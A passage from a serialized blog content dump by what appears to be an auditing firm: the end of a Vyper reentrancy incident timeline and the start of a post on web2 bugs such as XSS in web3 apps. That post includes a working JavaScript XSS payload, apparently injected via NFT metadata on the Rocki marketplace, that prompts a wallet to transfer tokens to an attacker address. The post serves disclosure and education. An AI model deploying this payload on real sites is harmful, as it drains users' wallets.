0x01;\n","yul",[29013],{"type":23,"tag":38,"props":29014,"children":29015},{"__ignoreMap":7},[29016,29024,29032,29040,29048,29055,29063,29071,29079],{"type":23,"tag":141,"props":29017,"children":29018},{"class":143,"line":144},[29019],{"type":23,"tag":141,"props":29020,"children":29021},{},[29022],{"type":29,"value":29023},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":141,"props":29025,"children":29026},{"class":143,"line":180},[29027],{"type":23,"tag":141,"props":29028,"children":29029},{},[29030],{"type":29,"value":29031},"label_0057:\n",{"type":23,"tag":141,"props":29033,"children":29034},{"class":143,"line":205},[29035],{"type":23,"tag":141,"props":29036,"children":29037},{},[29038],{"type":29,"value":29039}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":141,"props":29041,"children":29042},{"class":143,"line":218},[29043],{"type":23,"tag":141,"props":29044,"children":29045},{},[29046],{"type":29,"value":29047}," storage[0x00] = 0x01;\n",{"type":23,"tag":141,"props":29049,"children":29050},{"class":143,"line":227},[29051],{"type":23,"tag":141,"props":29052,"children":29053},{"emptyLinePlaceholder":15},[29054],{"type":29,"value":719},{"type":23,"tag":141,"props":29056,"children":29057},{"class":143,"line":241},[29058],{"type":23,"tag":141,"props":29059,"children":29060},{},[29061],{"type":29,"value":29062},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":141,"props":29064,"children":29065},{"class":143,"line":262},[29066],{"type":23,"tag":141,"props":29067,"children":29068},{},[29069],{"type":29,"value":29070},"label_1AF3:\n",{"type":23,"tag":141,"props":29072,"children":29073},{"class":143,"line":271},[29074],{"type":23,"tag":141,"props":29075,"children":29076},{},[29077],{"type":29,"value":29078}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":141,"props":29080,"children":29081},{"class":143,"line":293},[29082],{"type":23,"tag":141,"props":29083,"children":29084},{},[29085],{"type":29,"value":29086}," storage[0x02] = 0x01;\n",{"type":23,"tag":32,"props":29088,"children":29089},{},[29090,29095],{"type":23,"tag":3998,"props":29091,"children":29092},{},[29093],{"type":29,"value":29094},"14:27 UTC",{"type":29,"value":29096}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":131,"props":29098,"children":29100},{"className":18133,"code":29099,"language":18132,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[29101],{"type":23,"tag":38,"props":29102,"children":29103},{"__ignoreMap":7},[29104,29112,29133,29168,29180,29187,29194,29213,29245],{"type":23,"tag":141,"props":29105,"children":29106},{"class":143,"line":144},[29107],{"type":23,"tag":141,"props":29108,"children":29109},{"style":184},[29110],{"type":29,"value":29111},"@external\n",{"type":23,"tag":141,"props":29113,"children":29114},{"class":143,"line":180},[29115,29120,29124,29129],{"type":23,"tag":141,"props":29116,"children":29117},{"style":184},[29118],{"type":29,"value":29119},"@nonreentrant",{"type":23,"tag":141,"props":29121,"children":29122},{"style":154},[29123],{"type":29,"value":192},{"type":23,"tag":141,"props":29125,"children":29126},{"style":828},[29127],{"type":29,"value":29128},"\"lock\"",{"type":23,"tag":141,"props":29130,"children":29131},{"style":154},[29132],{"type":29,"value":758},{"type":23,"tag":141,"props":29134,"children":29135},{"class":143,"line":205},[29136,29141,29146,29150,29155,29160,29164],{"type":23,"tag":141,"props":29137,"children":29138},{"style":449},[29139],{"type":29,"value":29140},"def",{"type":23,"tag":141,"props":29142,"children":29143},{"style":184},[29144],{"type":29,"value":29145}," test",{"type":23,"tag":141,"props":29147,"children":29148},{"style":154},[29149],{"type":29,"value":192},{"type":23,"tag":141,"props":29151,"children":29152},{"style":750},[29153],{"type":29,"value":29154},"addr",{"type":23,"tag":141,"props":29156,"children":29157},{"style":154},[29158],{"type":29,"value":29159},": address) -> ",{"type":23,"tag":141,"props":29161,"children":29162},{"style":725},[29163],{"type":29,"value":747},{"type":23,"tag":141,"props":29165,"children":29166},{"style":154},[29167],{"type":29,"value":4242},{"type":23,"tag":141,"props":29169,"children":29170},{"class":143,"line":218},[29171,29175],{"type":23,"tag":141,"props":29172,"children":29173},{"style":148},[29174],{"type":29,"value":15665},{"type":23,"tag":141,"props":29176,"children":29177},{"style":449},[29178],{"type":29,"value":29179}," True\n",{"type":23,"tag":141,"props":29181,"children":29182},{"class":143,"line":227},[29183],{"type":23,"tag":141,"props":29184,"children":29185},{"emptyLinePlaceholder":15},[29186],{"type":29,"value":719},{"type":23,"tag":141,"props":29188,"children":29189},{"class":143,"line":241},[29190],{"type":23,"tag":141,"props":29191,"children":29192},{"style":184},[29193],{"type":29,"value":29111},{"type":23,"tag":141,"props":29195,"children":29196},{"class":143,"line":262},[29197,29201,29205,29209],{"type":23,"tag":141,"props":29198,"children":29199},{"style":184},[29200],{"type":29,"value":29119},{"type":23,"tag":141,"props":29202,"children":29203},{"style":154},[29204],{"type":29,"value":192},{"type":23,"tag":141,"props":29206,"children":29207},{"style":828},[29208],{"type":29,"value":29128},{"type":23,"tag":141,"props":29210,"children":29211},{"style":154},[29212],{"type":29,"value":758},{"type":23,"tag":141,"props":29214,"children":29215},{"class":143,"line":271},[29216,29220,29225,29229,29233,29237,29241],{"type":23,"tag":141,"props":29217,"children":29218},{"style":449},[29219],{"type":29,"value":29140},{"type":23,"tag":141,"props":29221,"children":29222},{"style":184},[29223],{"type":29,"value":29224}," test2",{"type":23,"tag":141,"props":29226,"children":29227},{"style":154},[29228],{"type":29,"value":192},{"type":23,"tag":141,"props":29230,"children":29231},{"style":750},[29232],{"type":29,"value":29154},{"type":23,"tag":141,"props":29234,"children":29235},{"style":154},[29236],{"type":29,"value":29159},{"type":23,"tag":141,"props":29238,"children":29239},{"style":725},[29240],{"type":29,"value":747},{"type":23,"tag":141,"props":29242,"children":29243},{"style":154},[29244],{"type":29,"value":4242},{"type":23,"tag":141,"props":29246,"children":29247},{"class":143,"line":293},[29248,29252],{"type":23,"tag":141,"props":29249,"children":29250},{"style":148},[29251],{"type":29,"value":15665},{"type":23,"tag":141,"props":29253,"children":29254},{"style":449},[29255],{"type":29,"value":29256}," False\n",{"type":23,"tag":32,"props":29258,"children":29259},{},[29260],{"type":29,"value":29261},"This was not just another reentrancy bug.",{"type":23,"tag":32,"props":29263,"children":29264},{},[29265],{"type":29,"value":29266},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":32,"props":29268,"children":29269},{},[29270,29275],{"type":23,"tag":3998,"props":29271,"children":29272},{},[29273],{"type":29,"value":29274},"14:37 UTC",{"type":29,"value":29276}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":32,"props":29278,"children":29279},{},[29280],{"type":23,"tag":2591,"props":29281,"children":29283},{"alt":7,"src":29282},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":32,"props":29285,"children":29286},{},[29287],{"type":29,"value":29288},"It was a race with the hackers.",{"type":23,"tag":32,"props":29290,"children":29291},{},[29292],{"type":29,"value":29293},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":355,"props":29295,"children":29296},{},[29297],{"type":23,"tag":32,"props":29298,"children":29299},{},[29300,29302],{"type":29,"value":29301},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":55,"props":29303,"children":29306},{"href":29304,"rel":29305},"https://twitter.com/hexagate_/status/1685677801813217280",[59],[29307],{"type":29,"value":29304},{"type":23,"tag":32,"props":29309,"children":29310},{},[29311],{"type":29,"value":29312},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":32,"props":29314,"children":29315},{},[29316,29321,29322,29329],{"type":23,"tag":3998,"props":29317,"children":29318},{},[29319],{"type":29,"value":29320},"14:50 UTC",{"type":29,"value":45},{"type":23,"tag":55,"props":29323,"children":29326},{"href":29324,"rel":29325},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[59],[29327],{"type":29,"value":29328},"msETH/ETH was drained",{"type":29,"value":322},{"type":23,"tag":32,"props":29331,"children":29332},{},[29333,29338,29339,29346],{"type":23,"tag":3998,"props":29334,"children":29335},{},[29336],{"type":29,"value":29337},"15:34 UTC",{"type":29,"value":45},{"type":23,"tag":55,"props":29340,"children":29343},{"href":29341,"rel":29342},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[59],[29344],{"type":29,"value":29345},"alETH/ETH was drained",{"type":29,"value":322},{"type":23,"tag":32,"props":29348,"children":29349},{},[29350,29355,29357,29364],{"type":23,"tag":3998,"props":29351,"children":29352},{},[29353],{"type":29,"value":29354},"15:43 UTC",{"type":29,"value":29356}," We identified that ",{"type":23,"tag":55,"props":29358,"children":29361},{"href":29359,"rel":29360},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[59],[29362],{"type":29,"value":29363},"CRV/ETH was vulnerable",{"type":29,"value":29365},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":32,"props":29367,"children":29368},{},[29369,29374],{"type":23,"tag":3998,"props":29370,"children":29371},{},[29372],{"type":29,"value":29373},"16:11 UTC",{"type":29,"value":29375}," We began working on a whitehat exploit.",{"type":23,"tag":32,"props":29377,"children":29378},{},[29379,29381,29388],{"type":29,"value":29380},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":55,"props":29382,"children":29385},{"href":29383,"rel":29384},"https://twitter.com/vyperlang/status/1685692973051498497",[59],[29386],{"type":29,"value":29387},"public statement on affected versions",{"type":29,"value":322},{"type":23,"tag":32,"props":29390,"children":29391},{},[29392],{"type":29,"value":29393},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":32,"props":29395,"children":29396},{},[29397,29399,29406],{"type":29,"value":29398},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":55,"props":29400,"children":29403},{"href":29401,"rel":29402},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[59],[29404],{"type":29,"value":29405},"somebody else stole the funds",{"type":29,"value":322},{"type":23,"tag":32,"props":29408,"children":29409},{},[29410],{"type":29,"value":29411},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":32,"props":29413,"children":29414},{},[29415],{"type":29,"value":29416},"Nevertheless, there was more ground to cover.",{"type":23,"tag":32,"props":29418,"children":29419},{},[29420,29425],{"type":23,"tag":3998,"props":29421,"children":29422},{},[29423],{"type":29,"value":29424},"21:26 UTC",{"type":29,"value":29426}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":355,"props":29428,"children":29429},{},[29430],{"type":23,"tag":32,"props":29431,"children":29432},{},[29433,29435,29439,29441,29444,29446,29449,29451],{"type":29,"value":29434},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":29436,"props":29437,"children":29438},"br",{},[],{"type":29,"value":29440},"\nyou can then update admin fee ",{"type":23,"tag":29436,"props":29442,"children":29443},{},[],{"type":29,"value":29445},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":29436,"props":29447,"children":29448},{},[],{"type":29,"value":29450},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":29436,"props":29452,"children":29453},{},[],{"type":23,"tag":32,"props":29455,"children":29456},{},[29457,29462],{"type":23,"tag":3998,"props":29458,"children":29459},{},[29460],{"type":29,"value":29461},"21:52 UTC",{"type":29,"value":29463}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":32,"props":29465,"children":29466},{},[29467,29469,29476,29478,29485,29493],{"type":29,"value":29468},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":55,"props":29470,"children":29473},{"href":29471,"rel":29472},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[59],[29474],{"type":29,"value":29475},"CRV admin fee bot",{"type":29,"value":29477}," had claimed fees and ",{"type":23,"tag":55,"props":29479,"children":29482},{"href":29480,"rel":29481},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[59],[29483],{"type":29,"value":29484},"the pool was drained",{"type":23,"tag":676,"props":29486,"children":29487},{},[29488],{"type":23,"tag":55,"props":29489,"children":29491},{"href":681,"ariaDescribedBy":29490,"dataFootnoteRef":7,"id":684},[683],[29492],{"type":29,"value":687},{"type":29,"value":322},{"type":23,"tag":24,"props":29495,"children":29497},{"id":29496},"blame",[29498],{"type":29,"value":29499},"Blame",{"type":23,"tag":32,"props":29501,"children":29502},{},[29503,29507],{"type":23,"tag":47,"props":29504,"children":29505},{},[29506],{"type":29,"value":29499},{"type":29,"value":29508}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":8287,"props":29510,"children":29512},{"id":29511},"races",[29513],{"type":29,"value":29514},"Races",{"type":23,"tag":32,"props":29516,"children":29517},{},[29518],{"type":29,"value":29519},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":32,"props":29521,"children":29522},{},[29523],{"type":29,"value":29524},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":32,"props":29526,"children":29527},{},[29528],{"type":29,"value":29529},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":8287,"props":29531,"children":29533},{"id":29532},"information-leakage",[29534],{"type":29,"value":29535},"Information Leakage",{"type":23,"tag":32,"props":29537,"children":29538},{},[29539],{"type":29,"value":29540},"I was both an auditor and a whitehat.",{"type":23,"tag":32,"props":29542,"children":29543},{},[29544,29546,29553],{"type":29,"value":29545},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":55,"props":29547,"children":29550},{"href":29548,"rel":29549},"https://twitter.com/osec_io/status/1579969927020412929",[59],[29551],{"type":29,"value":29552},"by publishing the \"scoop\"",{"type":29,"value":29554}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":32,"props":29556,"children":29557},{},[29558],{"type":29,"value":29559},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":32,"props":29561,"children":29562},{},[29563],{"type":29,"value":29564},"Half an hour more could have saved $18M.",{"type":23,"tag":32,"props":29566,"children":29567},{},[29568],{"type":29,"value":29569},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":24,"props":29571,"children":29573},{"id":29572},"next-steps",[29574],{"type":29,"value":29575},"Next Steps",{"type":23,"tag":32,"props":29577,"children":29578},{},[29579],{"type":29,"value":29580},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":32,"props":29582,"children":29583},{},[29584,29586,29593],{"type":29,"value":29585},"It's important to note that this bug ",{"type":23,"tag":55,"props":29587,"children":29590},{"href":29588,"rel":29589},"https://twitter.com/real_philogy/status/1685948253139857409",[59],[29591],{"type":29,"value":29592},"was patched since November 2021",{"type":29,"value":322},{"type":23,"tag":355,"props":29595,"children":29596},{},[29597],{"type":23,"tag":32,"props":29598,"children":29599},{},[29600,29602,29607,29608,29611,29613,29618],{"type":29,"value":29601},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":47,"props":29603,"children":29604},{},[29605],{"type":29,"value":29606},"processes",{"type":29,"value":1095},{"type":23,"tag":29436,"props":29609,"children":29610},{},[],{"type":29,"value":29612},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":47,"props":29614,"children":29615},{},[29616],{"type":29,"value":29617},"was",{"type":29,"value":29619}," fixed.",{"type":23,"tag":32,"props":29621,"children":29622},{},[29623],{"type":29,"value":29624},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":1435,"props":29626,"children":29628},{"className":29627,"dataFootnotes":7},[1438],[29629,29634],{"type":23,"tag":24,"props":29630,"children":29632},{"className":29631,"id":683},[1443],[29633],{"type":29,"value":1446},{"type":23,"tag":116,"props":29635,"children":29636},{},[29637],{"type":23,"tag":120,"props":29638,"children":29639},{"id":1452},[29640,29642],{"type":29,"value":29641},"Thankfully, these funds were later returned. ",{"type":23,"tag":55,"props":29643,"children":29645},{"href":1480,"ariaLabel":1481,"className":29644,"dataFootnoteBackref":7},[1483],[29646],{"type":29,"value":1486},{"type":23,"tag":1508,"props":29648,"children":29649},{},[29650],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":29652},[29653,29654,29658,29659],{"id":28928,"depth":180,"text":28931},{"id":29496,"depth":180,"text":29499,"children":29655},[29656,29657],{"id":29511,"depth":205,"text":29514},{"id":29532,"depth":205,"text":29535},{"id":29572,"depth":180,"text":29575},{"id":683,"depth":180,"text":1446},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":29664,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29665,"description":29666,"author":29667,"image":29670,"date":29672,"isFeatured":15,"tags":29673,"onBlogPage":15,"body":29676,"_type":1522,"_id":33889,"_source":1524,"_file":33890,"_stem":33891,"_extension":1527},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[29668,29669],"caue","bruno",{"src":29671,"height":13,"width":13},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[29674,29675],"nft-marketplaces","xss",{"type":20,"children":29677,"toc":33872},[29678,29682,29687,29691,29696,29701,29706,29722,29728,29741,29763,29770,29775,29782,29787,29793,29798,29803,29808,29813,29824,29829,30798,30808,30820,30827,30832,31654,31659,31664,31669,31674,32458,32463,32545,32550,32619,32625,32630,32635,32862,32875,32880,32885,32890,32897,32902,32909,32915,32920,32925,32930,33249,33254,33260,33276,33282,33287,33292,33302,33307,33312,33321,33326,33332,33348,33361,33366,33371,33391,33398,33403,33410,33419,33424,33445,33498,33503,33554,33568,33573,33587,33702,33725,33809,33832,33837,33842,33847,33852,33857,33863,33868],{"type":23,"tag":24,"props":29679,"children":29680},{"id":26},[29681],{"type":29,"value":30},{"type":23,"tag":32,"props":29683,"children":29684},{},[29685],{"type":29,"value":29686},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":8287,"props":29688,"children":29689},{"id":1577},[29690],{"type":29,"value":1580},{"type":23,"tag":32,"props":29692,"children":29693},{},[29694],{"type":29,"value":29695},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":32,"props":29697,"children":29698},{},[29699],{"type":29,"value":29700},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":24,"props":29702,"children":29703},{"id":29675},[29704],{"type":29,"value":29705},"XSS",{"type":23,"tag":32,"props":29707,"children":29708},{},[29709],{"type":23,"tag":47,"props":29710,"children":29711},{},[29712,29714,29721],{"type":29,"value":29713},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":55,"props":29715,"children":29718},{"href":29716,"rel":29717},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[59],[29719],{"type":29,"value":29720},"even explain it to myself",{"type":29,"value":322},{"type":23,"tag":8287,"props":29723,"children":29725},{"id":29724},"managing-metadata",[29726],{"type":29,"value":29727},"Managing Metadata",{"type":23,"tag":32,"props":29729,"children":29730},{},[29731,29733,29740],{"type":29,"value":29732},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":55,"props":29734,"children":29737},{"href":29735,"rel":29736},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[59],[29738],{"type":29,"value":29739},"payloads",{"type":29,"value":322},{"type":23,"tag":32,"props":29742,"children":29743},{},[29744,29746,29753,29755,29761],{"type":29,"value":29745},"We showcase this vulnerability in the ",{"type":23,"tag":55,"props":29747,"children":29750},{"href":29748,"rel":29749},"https://rocki.com/",[59],[29751],{"type":29,"value":29752},"Rocki Marketplace",{"type":29,"value":29754},". The ",{"type":23,"tag":38,"props":29756,"children":29758},{"className":29757},[],[29759],{"type":29,"value":29760},"artistDescription",{"type":29,"value":29762}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":32,"props":29764,"children":29765},{},[29766],{"type":23,"tag":2591,"props":29767,"children":29769},{"alt":7,"src":29768},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":32,"props":29771,"children":29772},{},[29773],{"type":29,"value":29774},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":32,"props":29776,"children":29777},{},[29778],{"type":23,"tag":2591,"props":29779,"children":29781},{"alt":7,"src":29780},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":32,"props":29783,"children":29784},{},[29785],{"type":29,"value":29786},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":8287,"props":29788,"children":29790},{"id":29789},"wheres-my-wallet",[29791],{"type":29,"value":29792},"Where's My Wallet",{"type":23,"tag":32,"props":29794,"children":29795},{},[29796],{"type":29,"value":29797},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":32,"props":29799,"children":29800},{},[29801],{"type":29,"value":29802},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":32,"props":29804,"children":29805},{},[29806],{"type":29,"value":29807},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":32,"props":29809,"children":29810},{},[29811],{"type":29,"value":29812},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":29814,"props":29815,"children":29817},"div",{"style":29816},"display:flex; align-items:center; flex-direction:column;",[29818],{"type":23,"tag":2591,"props":29819,"children":29823},{"src":29820,"alt":29821,"style":29822},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":32,"props":29825,"children":29826},{},[29827],{"type":29,"value":29828},"And here we can find the code used to achieve it :",{"type":23,"tag":131,"props":29830,"children":29834},{"className":29831,"code":29832,"language":29833,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[29835],{"type":23,"tag":38,"props":29836,"children":29837},{"__ignoreMap":7},[29838,29855,29900,29929,29945,30008,30043,30068,30093,30100,30120,30128,30144,30156,30164,30181,30198,30206,30213,30229,30245,30252,30260,30277,30289,30296,30312,30328,30335,30342,30359,30366,30374,30381,30428,30435,30499,30506,30526,30542,30558,30579,30650,30666,30673,30680,30718,30726,30733,30740,30747,30768],{"type":23,"tag":141,"props":29839,"children":29840},{"class":143,"line":144},[29841,29846,29851],{"type":23,"tag":141,"props":29842,"children":29843},{"style":449},[29844],{"type":29,"value":29845},"function",{"type":23,"tag":141,"props":29847,"children":29848},{"style":184},[29849],{"type":29,"value":29850}," request",{"type":23,"tag":141,"props":29852,"children":29853},{"style":154},[29854],{"type":29,"value":14412},{"type":23,"tag":141,"props":29856,"children":29857},{"class":143,"line":180},[29858,29863,29867,29872,29877,29881,29886,29891,29896],{"type":23,"tag":141,"props":29859,"children":29860},{"style":148},[29861],{"type":29,"value":29862}," if",{"type":23,"tag":141,"props":29864,"children":29865},{"style":154},[29866],{"type":29,"value":1220},{"type":23,"tag":141,"props":29868,"children":29869},{"style":449},[29870],{"type":29,"value":29871},"typeof",{"type":23,"tag":141,"props":29873,"children":29874},{"style":750},[29875],{"type":29,"value":29876}," window",{"type":23,"tag":141,"props":29878,"children":29879},{"style":154},[29880],{"type":29,"value":322},{"type":23,"tag":141,"props":29882,"children":29883},{"style":750},[29884],{"type":29,"value":29885},"ethereum",{"type":23,"tag":141,"props":29887,"children":29888},{"style":160},[29889],{"type":29,"value":29890}," ===",{"type":23,"tag":141,"props":29892,"children":29893},{"style":828},[29894],{"type":29,"value":29895}," 'undefined'",{"type":23,"tag":141,"props":29897,"children":29898},{"style":154},[29899],{"type":29,"value":13480},{"type":23,"tag":141,"props":29901,"children":29902},{"class":143,"line":205},[29903,29908,29912,29916,29920,29925],{"type":23,"tag":141,"props":29904,"children":29905},{"style":750},[29906],{"type":29,"value":29907}," console",{"type":23,"tag":141,"props":29909,"children":29910},{"style":154},[29911],{"type":29,"value":322},{"type":23,"tag":141,"props":29913,"children":29914},{"style":184},[29915],{"type":29,"value":13540},{"type":23,"tag":141,"props":29917,"children":29918},{"style":154},[29919],{"type":29,"value":192},{"type":23,"tag":141,"props":29921,"children":29922},{"style":828},[29923],{"type":29,"value":29924},"'Please install MetaMask to use this feature.'",{"type":23,"tag":141,"props":29926,"children":29927},{"style":154},[29928],{"type":29,"value":2496},{"type":23,"tag":141,"props":29930,"children":29931},{"class":143,"line":218},[29932,29937,29941],{"type":23,"tag":141,"props":29933,"children":29934},{"style":154},[29935],{"type":29,"value":29936}," } ",{"type":23,"tag":141,"props":29938,"children":29939},{"style":148},[29940],{"type":29,"value":1976},{"type":23,"tag":141,"props":29942,"children":29943},{"style":154},[29944],{"type":29,"value":1951},{"type":23,"tag":141,"props":29946,"children":29947},{"class":143,"line":227},[29948,29953,29957,29962,29967,29972,29977,29982,29987,29992,29996,30000,30004],{"type":23,"tag":141,"props":29949,"children":29950},{"style":750},[29951],{"type":29,"value":29952}," ethereum",{"type":23,"tag":141,"props":29954,"children":29955},{"style":154},[29956],{"type":29,"value":322},{"type":23,"tag":141,"props":29958,"children":29959},{"style":184},[29960],{"type":29,"value":29961},"request",{"type":23,"tag":141,"props":29963,"children":29964},{"style":154},[29965],{"type":29,"value":29966},"({ ",{"type":23,"tag":141,"props":29968,"children":29969},{"style":750},[29970],{"type":29,"value":29971},"method:",{"type":23,"tag":141,"props":29973,"children":29974},{"style":828},[29975],{"type":29,"value":29976}," 'eth_requestAccounts'",{"type":23,"tag":141,"props":29978,"children":29979},{"style":154},[29980],{"type":29,"value":29981}," }).",{"type":23,"tag":141,"props":29983,"children":29984},{"style":184},[29985],{"type":29,"value":29986},"then",{"type":23,"tag":141,"props":29988,"children":29989},{"style":154},[29990],{"type":29,"value":29991},"((",{"type":23,"tag":141,"props":29993,"children":29994},{"style":750},[29995],{"type":29,"value":13351},{"type":23,"tag":141,"props":29997,"children":29998},{"style":154},[29999],{"type":29,"value":1748},{"type":23,"tag":141,"props":30001,"children":30002},{"style":449},[30003],{"type":29,"value":13498},{"type":23,"tag":141,"props":30005,"children":30006},{"style":154},[30007],{"type":29,"value":1951},{"type":23,"tag":141,"props":30009,"children":30010},{"class":143,"line":241},[30011,30016,30021,30025,30030,30034,30038],{"type":23,"tag":141,"props":30012,"children":30013},{"style":449},[30014],{"type":29,"value":30015}," const",{"type":23,"tag":141,"props":30017,"children":30018},{"style":750},[30019],{"type":29,"value":30020}," fromAddress",{"type":23,"tag":141,"props":30022,"children":30023},{"style":160},[30024],{"type":29,"value":1674},{"type":23,"tag":141,"props":30026,"children":30027},{"style":750},[30028],{"type":29,"value":30029}," 